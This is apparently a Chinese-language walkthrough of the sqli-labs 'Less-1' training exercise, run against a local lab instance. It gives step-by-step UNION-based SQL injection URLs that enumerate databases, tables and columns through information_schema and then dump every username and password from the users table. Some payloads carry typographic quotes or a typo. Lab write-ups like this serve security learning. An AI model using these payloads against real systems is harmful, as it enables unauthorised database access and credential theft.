Less-1 Error Based -String

 

1.打开页面后提示我们以id为参数并赋值

Less-1 Error Based -String

 

 

 

2.我们在url中构造?id =1,返回以下内容。

Less-1 Error Based -String

 

 

 

 3.我们构造http://127.0.0.1/sql/Less-1/?id=1‘and 1=2,可以发现页面没什么变化,然后在1后加一个‘,返回以下内容,由此可知为字符型注入。

Less-1 Error Based -String

 

 

 

4.使用 union 或者order by 判断 字段数。

http://127.0.0.1/sql/Less-1/?id=1‘20union select null,null,null%20--+,如图当 null 的个数为3后数值显示正常了。

Less-1 Error Based -String

 

 

 http://127.0.0.1/sql/Less-1/?id=1‘ order by 4--+ 也可以判断。

 

5.使用union select 显示字段值

http://www.sqli-lab.cn/Less-1/?id=1‘ and 1=2 union select 1,version(),database() --+

6.查询数据库名

http://127.0.0.1/sql/Less-1/?id=1‘ AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

Less-1 Error Based -String

 

 

 7.查询表名

http://127.0.0.1/sql/Less-1/?id=1‘ AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security‘)--+

 

Less-1 Error Based -String

 

 

 8.获取列名

http://127.0.0.1/sql/Less-1/?id=1‘ AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘) --+

Less-1 Error Based -String

 

 9.爆出用户名密码

?id=1‘ AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+

  Less-1 Error Based -String

 

Less-1 Error Based -String

上一篇:1285:@变量赋值


下一篇:Codeforces Round #737 Editorial